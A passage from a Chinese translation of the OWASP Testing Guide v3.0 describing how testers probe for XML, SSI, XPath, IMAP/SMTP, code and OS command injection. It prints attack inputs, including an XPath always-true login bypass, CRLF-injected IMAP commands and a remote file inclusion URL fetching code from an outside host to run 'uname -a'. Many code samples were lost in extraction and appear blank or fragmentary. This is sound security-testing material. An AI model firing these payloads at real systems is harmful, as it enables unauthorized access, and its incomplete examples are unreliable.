这 个 检 测 可 以 使 Web 服 务 器 (Linux 系 统 ) 崩 溃 , 因 为 我 们 正 在 试 图 建 立 一 个 具 有 无 限 字 符 的 实 体 。 其 它 检 测 如<br />

下 :<br />

<br />

]>&xxe;<br />

<br />

]>&xxe;<br />

263


]>&xxe;<br />

<br />

]>&xxe;<br />

这 些 检 测 的 目 标 是 获 取 XML 数 据 库 结 构 的 信 息 。 如 果 我 们 分 析 这 些 错 误 , 我 们 可 以 找 到 很 多 与 所 采 用 的 技 术 相 关 的<br />

有 用 的 信 息 。<br />

标 记 注 入<br />

一 旦 第 一 步 完 成 , 检 测 人 员 将 获 得 关 于 XML 结 构 的 信 息 , 因 此 可 以 尝 试 注 入 XML 数 据 和 标 记 。<br />

在 前 面 的 例 子 中 , 插 入 以 下 值 :<br />

Username: tony<br />

Password: Un6R34kb!e<br />

E-mail: s4tan@hell.com0s4tan@hell.com<br />

该 应 用 将 建 立 一 个 新 的 节 点 并 将 其 附 加 到 XML 数 据 库 :<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

0<br />

gandalf@middleearth.com<br />

<br />

<br />

Stefan0<br />

w1s3c<br />

500<br />

Stefan0@whysec.hmm<br />

<br />

<br />

tony<br />

Un6R34kb!e<br />

500<br />

s4tan@hell.com0s4tan@hell.com<br />

<br />

<br />

264


OWASP 测 试 指 南 v3.0<br />

由 此 产 生 的 XML 文 件 格 式 正 确 , 并 且 userid 标 记 可 能 会 采 用 后 者 的 值 ( 0 = 管 理 员 编 号 ) 。 唯 一 的 缺 点 是 在 在 最 后<br />

的 那 个 user 节 点 中 存 在 两 个 userid 标 记 。 通 常 地 , XML 文 件 有 一 个 与 其 相 关 联 的 schema 或 者 DTD。 假 设 现 在 XML<br />

结 构 具 有 如 下 DTD:<br />

<br />

<br />

<br />

<br />

<br />

]><br />

请 注 意 ,userid 节 点 使 用 基 数 1 定 义 (userid)。<br />

因 此 , 如 果 XML 有 指 定 的 DTD 对 其 进 行 有 效 性 检 验 的 话 , 任 何 简 单 攻 击 都 将 无 法 实 施 。<br />

如 果 检 测 人 员 可 以 控 制 一 些 关 闭 userid 标 记 的 节 点 的 值 ( 例 如 在 这 个 例 子 中 ) , 通 过 注 入 如 下 所 示 注 释 开 始 / 结 束<br />

序 列 :<br />

Username: tony<br />

Password: Un6R34kb!e0s4tan@hell.com<br />

XML 数 据 库 文 件 就 会 是 :<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

0<br />

gandalf@middleearth.com<br />

<br />

<br />

Stefan0<br />

w1s3c<br />

500<br />

Stefan0@whysec.hmm<br />

<br />

<br />

tony<br />

Un6R34kb!e0s4tan@hell.com<br />

<br />

265


这 样 一 来 , 原 来 的 userid 标 记 将 被 注 释 掉 , 同 时 将 按 照 DTD 规 则 解 析 注 入 的 那 个 标 记 。<br />

其 结 果 是 用 户 'tony' 将 使 用 userid= 0 登 录 ( 这 可 能 是 系 统 管 理 员 的 uid)<br />

参 考<br />

白 皮 书<br />

• [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-<br />

Attacking_Web_Services.ppt<br />

4.8.9 SSI 注 入 (OWASP-DV-009)<br />

概 述<br />

Web 服 务 器 通 常 让 开 发 商 在 静 态 网 络 服 务 器 通 常 让 开 发 人 员 在 静 态 HTML 页 面 里 增 加 动 态 代 码 的 小 片 断 , 而 不 必 完<br />

全 使 用 与 服 务 器 端 或 客 户 端 有 关 的 语 言 。Server-Side<br />

Includes (SSI) 体 现 了 该 特 点 , 它 是 一 个 非 常 简 单 的 扩 展 , 可 能<br />

使 攻 击 者 注 入 代 码 到 HTML 页 甚 至 执 行 远 程 代 码 。<br />

问 题 描 述<br />

服 务 器 端 嵌 入 是 一 种 指 令 ,Web 服 务 器 在 将 网 页 提 供 给 用 户 之 前 将 其 解 析 。 当 只 需 要 执 行 简 单 任 务 时 , 他 们 是 编 写<br />

CGI 程 序 或 使 用 服 务 器 端 脚 本 语 言 嵌 入 代 码 的 一 种 替 代 方 法 。 普 通 SSI 实 现 提 供 命 令 的 目 的 在 于 包 含 外 部 文 件 、 设 置<br />

和 输 出 web 服 务 器 CGI 环 境 变 量 、 和 执 行 外 部 CGI 脚 本 或 系 统 命 令 。<br />

将 SSI 指 令 注 入 静 态 的 HTML 文 件 是 简 单 的 事 , 只 需 要 写 下 面 的 一 段 代 码 :<br />

<br />

用 于 显 示 当 前 时 间 ;<br />

<br />

用 于 包 含 CGI 脚 本 输 出 ;<br />

<br />

用 于 包 含 文 件 内 容 ;<br />

<br />

266


OWASP 测 试 指 南 v3.0<br />

用 于 包 含 系 统 命 令 输 出 。.<br />

然 后 , 如 果 可 以 使 用 Web 服 务 器 SSI 支 持 , 服 务 器 将 解 析 这 些 指 示 , 包 括 其 正 文 和 头 部 信 息 。 通 常 在 默 认 配 置 中 ,<br />

大 多 数 的 web 服 务 器 不 允 许 使 用 exec 指 令 执 行 系 统 命 令 。<br />

在 每 一 个 不 良 的 输 入 验 证 情 况 中 , 如 果 允 许 web 应 用 程 序 的 用 户 提 供 数 据 , 让 应 用 程 序 或 web 服 务 器 做 出 无 法 预<br />

料 的 行 动 , 那 幺 问 题 就 会 产 生 。 例 如 关 于 SSI 注 入 , 攻 击 者 会 提 供 输 入 , 如 果 该 输 入 被 应 用 程 序 ( 或 可 能 直 接 被 服<br />

务 器 ) 插 入 动 态 产 生 的 页 面 中 , 那 幺 它 就 会 被 解 析 为 SSI 指 令 。<br />

因 为 SSI 指 令 跟 实 际 脚 本 语 言 不 存 在 可 比 性 , 同 时 也 因 为 web 服 务 器 需 要 配 置 成 允 许 SSI, 因 此 我 们 谈 论 的 是 一 个<br />

与 传 统 脚 本 语 言 注 入 问 题 非 常 相 似 的 的 情 况 ; 但 是 由 于 SSI 指 令 易 懂 、 容 易 输 出 文 件 内 容 并 执 行 系 统 命 令 , 它 同 样<br />

容 易 被 开 发 。<br />

黑 盒 检 测<br />

黑 盒 检 测 要 做 的 第 一 件 事 是 寻 找 WEB 服 务 器 事 实 上 是 否 支 持 SSI 指 令 。 由 于 SSI 支 持 很 常 见 , 答 案 几 乎 是 肯 定 的 。<br />

为 了 找 到 答 案 , 我 们 只 需 要 通 过 传 统 信 息 收 集 技 术 , 了 解 我 们 的 检 测 目 标 运 行 哪 些 类 型 的 Web 服 务 器 即 可 。<br />

无 论 能 否 成 功 发 现 这 一 信 息 , 我 们 都 可 以 通 过 查 看 检 测 网 站 的 内 容 来 猜 测 其 是 否 支 持 SSL: 由 于 .shtml 文 件 后 缀 名<br />

是 用 来 表 明 网 页 文 件 是 否 包 含 SSI 指 令 的 , 因 此 如 果 该 网 站 使 用 了 .shtml 文 件 , 那 幺 说 明 该 网 站 支 持 SSI 指 令 。 然<br />

而 .shtml 后 缀 名 并 非 是 强 制 规 定 的 , 因 此 如 果 没 有 发 现 任 何 .shtml 文 件 , 并 不 意 味 着 目 标 网 站 没 有 受 到 SSI 注 入 攻 击<br />

的 可 能 。<br />

让 我 们 进 行 下 一 个 步 骤 。 这 不 仅 需 要 确 认 是 否 可 以 进 行 SSI 注 入 攻 击 , 还 需 要 确 认 我 们 用 来 注 入 恶 意 代 码 的 输 入<br />

点 。<br />

这 一 步 的 测 试 跟 测 试 其 它 代 码 注 入 漏 洞 一 样 。 我 们 需 要 找 到 运 行 用 户 提 交 输 入 的 每 一 个 网 页 , 并 确 认 应 用 程 序 是 否<br />

正 确 验 证 了 所 提 交 的 输 入 , 反 之 则 确 认 是 否 存 在 按 输 入 原 样 显 示 的 数 据 ( 如 错 误 信 息 、 论 坛 发 帖 等 )。 除 了 常 见 的<br />

用 户 提 供 的 数 据 外 , 常 考 虑 的 输 入 变 量 就 是 容 易 伪 造 的 HTTP 请 求 头 和 Cookie 内 容 。<br />

一 旦 我 们 有 了 潜 在 注 入 点 的 清 单 , 我 们 可 以 检 查 输 入 是 否 得 到 正 确 验 证 , 并 找 出 我 们 所 提 供 的 数 据 将 在 网 站 按 原 样<br />

显 示 的 地 方 。 我 们 必 须 确 保 我 们 能 够 使 用 SSI 指 令 中 使 用 的 字 符 :<br />

< ! # = / . " - > and [a-zA-Z0-9]<br />

能 在 同 一 个 地 方 通 过 服 务 器 并 被 解 析 。<br />

利 用 验 证 的 缺 乏 就 像 使 用 如 下 所 示 的 字 符 串 进 行 表 单 提 交 那 样 容 易 :<br />

<br />

不 要 用 传 统 的 字 符 串 :<br />

267


alert("XSS")<br />

当 下 次 服 务 器 需 要 提 供 指 定 的 页 面 时 , 就 会 解 析 该 指 令 , 这 样 页 面 就 包 含 了 Unix 标 准 密 码 文 件 内 容 。<br />

如 果 Web 应 用 程 序 将 使 用 这 些 数 据 建 立 一 个 动 态 产 生 的 页 面 , 在 HTTP 头 信 息 中 也 可 以 执 行 该 注 入 :<br />

GET / HTTP/1.0<br />

Referer: <br />

User-Agent: <br />

灰 盒 检 测 实 例<br />

如 果 能 查 看 应 用 程 序 的 源 代 码 , 我 们 可 以 轻 松 找 出 :<br />

1. 是 否 使 用 SSI 指 令 ; 如 果 使 用 ,web 服 务 器 就 启 动 了 SSI 支 持 。 这 就 导 致 SSI 注 入 至 少 成 为 需 要 调 查 的 潜 在 问<br />

题 ;<br />

2. 用 户 输 入 、cookie 内 容 和 HTTP 标 题 头 在 哪 里 处 理 ; 很 快 就 能 生 成 一 张 完 整 的 输 入 变 量 清 单 ;<br />

3. 如 何 处 理 输 入 、 使 用 什 幺 样 的 过 滤 方 式 、 应 用 程 序 不 允 许 什 幺 样 的 字 符 通 过 、 考 虑 了 多 少 种 编 码 方 式 。<br />

使 用 grep 执 行 这 些 步 骤 , 找 到 源 代 码 中 的 正 确 关 键 词 (SSI 指 令 、CGI 环 境 变 量 、 涉 及 用 户 输 入 的 变 量 任 务 、 过 滤 函<br />

数 等 等 )。<br />

参 考<br />

白 皮 书<br />

• IIS: "Notes on Server-Side Includes (SSI) syntax" - http://support.microsoft.com/kb/203064<br />

• Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html<br />

• Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html<br />

• Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi<br />

• Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt<br />

• SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-ofjavascript.html<br />

工 具<br />

• Web Proxy Burp Suite - http://portswigger.net<br />

• Paros - http://www.parosproxy.org/index.shtml<br />

• WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project<br />

• String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor<br />

268


OWASP 测 试 指 南 v3.0<br />

4.8.10 XPATH 注 入 (OWASP-DV-010)<br />

概 述<br />

XPath 是 设 计 和 开 发 成 操 作 已 描 述 成 XML 的 数 据 的 一 种 语 言 。XPath 注 入 允 许 攻 击 者 在 使 用 该 语 言 的 查 询 中 注 入<br />

XPath 元 素 。 某 些 可 能 的 目 的 是 绕 过 认 证 或 以 未 授 权 方 式 获 取 信 息 。<br />

问 题 简 短 说 明<br />

Web 应 用 程 序 大 量 使 用 数 据 库 来 存 储 和 访 问 所 需 要 操 作 的 数 据 。 自 互 联 网 开 始 之 际 , 关 系 型 数 据 库 已 经 是 迄 今 为 止<br />

最 常 见 的 模 式 。 但 在 过 去 的 几 年 中 , 使 用 XML 语 言 组 建 的 数 据 库 日 益 流 行 。 关 系 型 数 据 库 可 以 通 过 SQL 语 言 访 问 ,<br />

而 XML 数 据 库 使 用 XPath 作 为 他 们 标 准 的 查 询 语 言 。 因 为 从 概 念 的 角 度 来 看 ,XPath 与 SQL 在 目 的 和 应 用 方 面<br />

十 分 相 似 。 而 有 趣 的 是 XPath 注 入 攻 击 和 SQL 注 入 攻 击 逻 辑 是 一 样 的 。 在 某 些 方 面 , 由 于 XPath 所 有 功 能 已 经 在<br />

其 规 格 中 存 在 , 而 SQL 注 入 攻 击 中 的 很 多 技 巧 都 依 赖 于 目 标 数 据 库 所 使 用 的 SQL 方 言 的 特 点 , 所 以 说 XPath 比 标<br />

准 SQL 更 强 大 。 这 意 味 着 XPath 注 入 攻 击 可 以 更 具 适 应 力 并 是 无 所 不 在 的 。 另 一 个 XPath 注 入 攻 击 的 优 势 在 于 与<br />

SQL 不 同 , 它 不 需 要 强 制 执 行 ACL。 因 为 XPath 查 询 可 以 访 问 XML 文 件 的 每 一 部 分 。<br />

黑 盒 检 测 实 例<br />

XPath 攻 击 模 式 是 由 Amit Klein [1] 首 次 出 版 , 它 与 普 通 SQL 注 入 非 常 相 似 。 为 了 初 步 了 解 该 问 题 , 我 们 假 设 一 个 登<br />

录 页 面 , 它 用 于 管 理 应 用 程 序 的 验 证 , 而 用 户 必 须 输 入 自 己 的 用 户 名 和 密 码 才 能 登 录 到 该 应 用 程 序 。 假 设 下 面 XML<br />

文 件 代 表 数 据 库 :<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

admin<br />

<br />

<br />

Stefan0<br />

w1s3c<br />

guest<br />

<br />

<br />

tony<br />

Un6R34kb!e<br />

guest<br />

<br />

<br />

269


如 下 XPath 查 询 将 返 回 用 户 名 是 "gandalf" 和 密 码 “!C3” 的 账 户 :<br />

string(//user[username/text()='gandalf' and<br />

password/text()='!c3']/account/text())<br />

如 果 应 用 程 序 没 有 正 确 过 滤 该 输 入 , 检 测 人 员 将 能 注 入 XPath 代 码 并 干 扰 查 询 结 果 。 例 如 , 检 测 人 员 可 以 输 入 以 下<br />

值 :<br />

Username: ' or '1' = '1<br />

Password: ' or '1' = '1<br />

看 起 来 很 熟 悉 , 不 是 吗 ? 使 用 这 些 参 数 , 查 询 变 为 :<br />

string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())<br />

在 普 通 的 SQL 注 入 攻 击 中 , 我 们 创 建 了 始 终 验 证 为 正 确 的 查 询 。 这 意 味 着 即 使 没 有 提 供 用 户 名 和 密 码 , 该 应 用 软 件<br />

仍 将 通 过 用 户 验 证 。<br />

如 同 在 普 通 的 SQL 注 入 攻 击 一 样 ,XPath 注 入 攻 击 的 第 一 步 是 在 需 要 检 测 的 字 段 名 中 插 入 一 个 单 引 号 ( ' )、 在 查 询<br />

中 引 入 语 法 错 误 并 检 查 应 用 程 序 是 否 返 回 错 误 信 息 。<br />

如 果 不 知 道 XML 数 据 内 部 的 细 节 , 同 时 应 用 程 序 不 提 供 有 用 的 用 以 重 建 内 在 逻 辑 的 错 误 信 息 , 那 幺 我 们 将 可 能 执 行<br />

盲 XPath 注 入 攻 击 。 该 攻 击 的 目 标 是 重 建 整 个 数 据 结 构 。 这 项 技 术 与 基 于 推 理 的 SQL 注 入 相 似 。 该 技 术 通 过 注 入 创<br />

建 查 询 的 代 码 , 返 回 一 些 信 息 。 在 引 用 文 件 中 Amit Klein 详 细 介 绍 了 盲 XPath 注 入 。<br />

参 考<br />

白 皮 书<br />

• [1] Amit Klein: "Blind XPath Injection" - https://www.watchfire.com/securearea/whitepapers.aspx?id=9<br />

• [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath<br />

4.8.11 IMAP/SMTP 注 入 (OWASP-DV-011)<br />

概 述<br />

这 种 威 胁 影 响 到 所 有 的 与 邮 件 服 务 器 (IMAP /SMTP ) 通 讯 的 应 用 程 序 , 比 如 一 般 的 Webmail 应 用 。 检 测 的 目 标<br />

是 , 在 应 用 程 序 没 有 适 当 清 理 输 入 数 据 的 情 况 下 , 验 证 在 邮 件 服 务 器 中 注 入 任 意 IMAP / SMTP 命 令 的 能 力 。<br />

问 题 描 述<br />

如 果 不 能 直 接 从 互 联 网 访 问 邮 件 服 务 器 , 那 幺 在 这 样 的 情 况 下 IMAP/SMTP 注 入 技 术 就 会 显 得 更 加 有 效 。 如 果 可 能<br />

与 后 端 的 邮 件 服 务 器 通 讯 , 我 们 建 议 进 行 直 接 检 测 。<br />

270


OWASP 测 试 指 南 v3.0<br />

IMAP/SMTP 注 入 使 得 之 前 无 法 从 互 联 网 直 接 访 问 邮 件 服 务 器 成 为 可 能 。 在 某 些 情 况 下 , 这 些 内 部 系 统 没 有 与 前 端<br />

web 服 务 器 同 等 水 平 的 基 础 设 施 安 全 加 固 : 这 导 致 邮 件 服 务 器 更 容 易 受 到 最 终 用 户 的 成 功 攻 击 ( 参 见 下 图 提 出 的 计<br />

划 )。<br />

通 信 与 电 子 邮 件 服 务 器 使 用 的 IMAP/ 的 SMTP 注 入 技 术 。<br />

图 1 描 述 了 使 用 Web 邮 件 技 术 常 见 的 流 程 控 制 。 步 骤 1 和 2 是 用 户 与 网 络 邮 件 客 户 端 互 动 , 而 第 2 步 ' 是 检 测 人 员<br />

绕 过 邮 件 客 户 端 , 与 后 端 邮 件 服 务 器 直 接 连 接 。 这 种 技 术 可 能 出 现 各 种 各 样 的 行 动 和 攻 击 。 其 可 能 性 取 决 于 注 入 的<br />

类 型 和 范 围 以 及 所 检 测 的 邮 件 服 务 器 使 用 的 技 术 。 使 用 IMAP /SMTP 注 入 技 术 的 攻 击 的 例 子 有 :<br />

• 在 IMAP / SMTP 协 议 中 发 现 的 安 全 弱 点<br />

• 绕 过 应 用 程 序 限 制<br />

• 绕 过 反 自 动 操 作 流 程<br />

• 信 息 泄 漏<br />

• 转 发 / 垃 圾 邮 件<br />

黑 盒 检 测 实 例<br />

标 准 攻 击 的 模 式 是 :<br />

• 确 认 漏 洞 参 数<br />

• 了 解 数 据 流 和 客 户 端 的 部 署 结 构<br />

• IMAP/SMTP 命 令 注 入<br />

271


辨 认 漏 洞 参 数<br />

为 了 查 出 漏 洞 参 数 , 检 测 人 员 必 须 分 析 应 用 程 序 处 理 输 入 的 能 力 。 输 入 验 证 检 测 要 求 检 测 人 员 发 送 伪 造 或 者 恶 意 请<br />

求 到 服 务 器 并 分 析 反 应 。 在 经 安 全 开 发 的 应 用 程 序 中 , 其 响 应 结 果 应 该 是 包 含 相 应 动 作 的 错 误 信 息 , 告 诉 客 户 端 有<br />

些 地 方 出 错 了 。 在 不 安 全 的 应 用 程 序 中 , 恶 意 请 求 会 在 后 端 应 用 程 序 中 处 理 , 并 返 回 "HTTP 200 OK" 的 信 息 。<br />

值 得 注 意 的 是 发 送 的 请 求 必 须 匹 配 所 检 测 的 技 术 。 当 使 用 MySQL 服 务 器 时 , 发 送 针 对 Microsoft SQL server 的 SQL 注<br />

入 字 符 串 到 MySQL 服 务 器 将 得 到 错 误 的 检 测 回 应 。 在 这 种 情 况 下 , 由 于 IMAP 是 所 检 测 的 根 本 协 议 , 发 送 恶 意<br />

IMAP 命 令 是 惯 用 做 法 。<br />

应 使 用 的 IMAP 的 特 殊 参 数 包 括 :<br />

用 于 IMAP 服 务 器<br />

用 于 SMTP 服 务 器<br />

Authentication ( 身 份 验 证 )<br />

发 件 人 邮 件<br />

邮 箱 操 作 (list/ 列 出 清 单 , read/ 读 取 , create/ 创 建 , delete/ 删 除 , rename/ 更 名 ) 收 件 人 邮 件<br />

邮 件 操 作 (read/ 读 取 , copy/ 复 制 , move/ 移 动 , delete/ 删 除 )<br />

标 题<br />

Disconnection ( 关 闭 连 接 )<br />

邮 件 正 文<br />

附 加 文 件<br />

在 此 检 测 案 例 中 ,“mailbox” 的 参 数 将 被 所 有 请 求 检 测 :<br />

http:///src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1<br />

可 以 使 用 下 面 例 子 :<br />

• 参 数 值 为 空 :<br />

http:///src/read_body.php?mailbox=&passed_id=46106&startMessage=1<br />

• 使 用 随 机 值 替 代 :<br />

http:///src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1<br />

• 为 参 数 添 加 其 它 值 :<br />

http:///src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1<br />

• 添 加 非 标 准 特 殊 字 符 ( 如 : \ ,@ , # , !, | ) :<br />

272


OWASP 测 试 指 南 v3.0<br />

http:///src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1<br />

• 去 除 参 数 :<br />

http:///src/read_body.php?passed_id=46106&startMessage=1<br />

上 述 测 试 的 最 后 结 果 提 供 测 试 者 三 个 可 能 情 况 :<br />

S1 - 应 用 返 回 错 误 代 码 / 信 息<br />

S2 - 应 用 不 返 回 错 误 代 码 / 信 息 , 但 它 没 有 意 识 到 请 求 的 操 作<br />

S3 - 应 用 不 返 回 错 误 代 码 / 信 息 并 且 认 为 是 一 般 的 请 求 操 作<br />

情 形 S1 和 S2 代 表 成 功 的 IMAP/SMTP 注 入 。<br />

攻 击 者 的 目 标 是 接 收 S1 响 应 , 因 为 该 响 应 显 示 应 用 程 序 存 在 注 入 漏 洞 并 容 易 受 到 进 一 步 操 控 。<br />

我 们 假 设 用 户 通 过 下 面 HTTP 请 求 将 电 子 邮 件 标 题 头 形 象 化 :<br />

http:///src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0<br />

攻 击 者 也 许 可 以 通 过 注 入 字 符 "( 使 用 URL 编 码 的 %22) 修 改 参 数 INBOX 的 值 :<br />

http:///src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0<br />

在 这 种 情 况 下 应 用 程 序 的 反 应 是 :<br />

ERROR: Bad or malformed request.<br />

Query: SELECT "INBOX""<br />

Server responded: Unexpected extra arguments to Select<br />

S2 的 成 功 执 行 需 要 更 难 的 检 测 技 术 。 检 测 人 员 需 要 使 用 盲 命 令 注 入 来 确 定 服 务 器 是 否 存 在 漏 洞 。<br />

另 外 ,S3 与 本 段 内 容 无 关 。<br />

预 期 结 果 :<br />

• 弱 点 参 数 列 表<br />

• 受 影 响 的 功 能<br />

• 可 能 注 入 的 类 型 (IMAP/SMTP)<br />

了 解 数 据 流 和 客 户 端 的 部 署 结 构<br />

273


确 认 所 有 存 在 漏 洞 的 参 数 后 ( 例 如 , “passed_id”), 检 测 人 员 需 要 确 定 可 以 使 用 哪 种 等 级 的 注 入 并 规 划 进 一 步 发 现 应<br />

用 程 序 漏 洞 的 检 测 计 划 。<br />

在 这 个 检 测 案 例 中 , 我 们 已 知 应 用 程 序 的 “passed_id” 存 在 漏 洞 并 使 用 下 列 请 求 进 行 检 测 :<br />

http:///src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1<br />

使 用 以 下 例 子 ( 对 数 字 类 型 的 参 数 使 用 字 符 类 型 ) :<br />

http:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1<br />

将 产 生 以 下 错 误 信 息 ( 不 正 确 的 、 或 者 是 格 式 错 误 的 请 求 ):<br />

ERROR : Bad or malformed request.<br />

Query: FETCH test:test BODY[HEADER]<br />

Server responded: Error in IMAP command received by server.<br />

在 上 一 个 案 例 中 , 其 它 错 误 信 息 返 回 所 执 行 的 命 令 和 相 关 参 数 的 名 称 。<br />

在 其 他 情 况 中 ,(“ 没 有 ” 被 应 用 程 序 所 控 制 的 ) 错 误 信 息 包 含 所 执 行 的 命 令 的 名 称 , 但 是 读 取 相 关 的 RFC( 参 见 “ 参 考 ”<br />

段 ) 允 许 检 测 人 员 了 解 还 能 执 行 其 他 哪 些 命 令 。<br />

如 果 应 用 程 序 不 返 回 描 述 性 的 错 误 信 息 , 检 测 人 员 需 要 分 析 受 影 响 的 功 能 以 便 能 了 解 并 推 断 出 与 上 述 功 能 有 关 的 所<br />

有 可 能 使 用 的 命 令 ( 和 参 数 )。 例 如 , 如 果 发 现 检 测 漏 洞 参 数 能 创 建 邮 箱 , 那 幺 逻 辑 上 认 为 受 感 染 的 IMAP 命 令 就<br />

是 “CREATE”, 根 据 RFC, 它 包 含 唯 一 一 个 参 数 值 , 那 就 是 期 望 创 建 的 邮 箱 名 称 。<br />

预 期 结 果 :<br />

• 受 影 响 的 IMAP/SMTP 命 令 名 单<br />

• 需 要 检 测 的 受 影 响 的 IMAP/SMTP 命 令 的 参 数 的 类 型 、 值 和 数 量<br />

IMAP/SMTP 命 令 注 入<br />

一 旦 检 测 人 员 确 认 了 漏 洞 参 数 并 分 析 了 执 行 的 文 本 , 下 一 步 就 是 利 用 功 能 。<br />

这 个 阶 段 有 两 个 可 能 结 果 :<br />

1. 在 未 验 证 阶 段 可 以 的 注 入 : 受 影 响 的 不 需 要 用 户 验 证 的 功 能 。 注 入 的 命 令 ( IMAP ) 只 限 于 :CAPABILITY、NOOP、<br />

AUTHENTICATE、LOGIN 和 LOGOUT。<br />

2. 只 在 验 证 状 态 下 才 能 执 行 的 注 入 : 在 进 行 继 续 检 测 前 需 要 充 分 验 证 用 户 才 能 成 功 利 用 的 漏 洞 。<br />

在 任 何 情 况 下 , IMAP /SMTP 注 入 的 典 型 结 构 如 下 :<br />

• 标 题 : 预 期 命 令 的 结 尾 ;<br />

274


OWASP 测 试 指 南 v3.0<br />

• 内 容 : 注 入 新 的 命 令 ;<br />

• 结 尾 : 预 期 命 令 的 开 始 。<br />

我 们 需 要 说 明 : 为 了 执 行 IMAP/SMTP 命 令 , 上 一 个 命 令 必 须 使 用 CRLF (%0d%0a) 序 列 完 成 。 假 设 在 阶 段 1 (“ 确 认 漏<br />

洞 参 数 ”) 中 , 攻 击 者 查 出 下 面 请 求 中 的 参 数 “message_id” 是 存 在 漏 洞 的 参 数 :<br />

http:///read_email.php?message_id=4791<br />

我 们 也 假 设 在 阶 段 2 中 所 执 行 的 分 析 结 果 (“ 了 解 数 据 流 和 客 户 端 部 署 结 构 ”) 确 认 了 与 该 参 数 相 关 的 命 令 和 参 数 数<br />

值 :<br />

FETCH 4791 BODY[HEADER]<br />

在 这 个 情 况 , IMAP 注 入 结 构 是 :<br />

http:///read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791<br />

它 将 产 生 以 下 命 令 :<br />

???? FETCH 4791 BODY[HEADER]<br />

V100 CAPABILITY<br />

V101 FETCH 4791 BODY[HEADER]<br />

其 中<br />

Header = 4791 BODY[HEADER]<br />

Body = %0d%0aV100 CAPABILITY%0d%0a<br />

Footer = V101 FETCH 4791<br />

预 期 结 果<br />

• 任 意 IMAP/SMTP 命 令 注 入<br />

参 考<br />

白 皮 书<br />

• RFC 0821 “Simple Mail Transfer Protocol”.<br />

• RFC 3501 “Internet Message Access Protocol - Version 4rev1”.<br />

• Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers" -<br />

http://www.webappsec.org/projects/articles/121106.pdf<br />

275


4.8.12 代 码 注 入 (OWASP-DV-012)<br />

摘 要<br />

这 部 分 描 述 检 测 人 员 如 何 检 测 是 否 能 在 网 页 中 输 入 代 码 作 为 输 入 并 通 过 web 服 务 器 执 行 该 代 码 。 更 多 关 于 代 码 注 入<br />

请 查 看 :http://www.owasp.org/index.php/Code_Injection<br />

问 题 描 述<br />

代 码 注 入 测 试 是 指 检 测 人 员 提 交 代 码 作 为 输 入 , 并 被 web 服 务 器 当 作 动 态 代 码 或 嵌 入 文 件 处 理 。 这 些 检 测 的 目 标 在<br />

于 针 对 各 种 服 务 器 端 脚 本 引 擎 , 即 ASP、PHP 等 等 。 因 此 需 要 部 署 适 当 的 验 证 和 安 全 代 码 程 序 防 止 这 些 攻 击 。<br />

黑 盒 检 测 实 例<br />

PHP 注 入 漏 洞 检 测<br />

使 用 querystring, 测 试 者 可 以 注 入 代 码 ( 例 如 , 恶 意 URL) 并 作 为 嵌 入 文 件 的 一 部 分 处 理 :<br />

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a<br />

结 果 预 期<br />

恶 意 URL 将 被 当 作 PHP 页 面 的 参 数 , 此 后 可 以 使 用 嵌 入 文 件 中 的 值 。<br />

灰 盒 检 测 实 例<br />

ASP 代 码 漏 洞 测 试<br />

检 测 用 于 执 行 函 数 中 的 用 户 输 入 的 ASP 代 码 , 例 如 , 用 户 能 否 输 入 命 令 到 数 据 输 入 字 段 中 ? 在 这 里 , ASP 代 码 会 将<br />

其 保 存 到 文 件 中 并 执 行 它 :<br />


OWASP 测 试 指 南 v3.0<br />

'Data.txt is executed<br />

Server.Execute( "data.txt" )<br />

Else<br />

%><br />

<br />

<br />

<br />

)))<br />

参 考<br />

• Security Focus - http://www.securityfocus.com<br />

• Insecure.org - http://www.insecure.org<br />

• Wikipedia - http://www.wikipedia.org<br />

• OWASP Code Review - http://www.owasp.org/index.php/OS_Injection<br />

4.8.13 OS 指 令 执 行 (OWASP-DV-013)<br />

摘 要<br />

这 段 我 们 描 述 如 何 检 测 应 用 程 序 来 检 测 OS 指 令 执 行 : 这 意 味 着 尝 试 通 过 HTTP 请 求 注 入 一 个 OS 命 令 到 应 用 程 序<br />

中 。<br />

问 题 简 短 描 述<br />

OS 指 令 执 行 是 为 了 通 过 网 络 接 口 在 web 服 务 器 执 行 OS 命 令 的 一 种 技 术 。<br />

用 户 为 了 执 行 OS 命 令 而 通 过 网 接 口 提 供 操 作 系 统 命 令 。 任 何 没 有 适 当 过 滤 的 网 接 口 都 存 在 此 漏 洞 。 用 户 拥 有 执 行<br />

OS 命 令 的 能 力 后 就 能 上 载 任 意 恶 意 程 序 甚 至 获 得 密 码 。 如 果 应 用 程 序 设 计 和 开 发 时 有 强 调 安 全 , 那 幺 就 可 以 阻 止<br />

OS 指 令 执 行 。<br />

黑 盒 检 测 实 例<br />

当 在 web 应 用 程 序 中 查 看 文 件 时 , 文 件 名 通 常 在 URL 中 显 示 出 来 。Perl 允 许 进 程 输 送 数 据 到 open 命 令 中 。 用 户 能<br />

轻 易 地 在 文 件 名 尾 部 附 加 输 送 字 符 “|”。<br />

例 : 在 改 变 之 前 的 URL:<br />

277


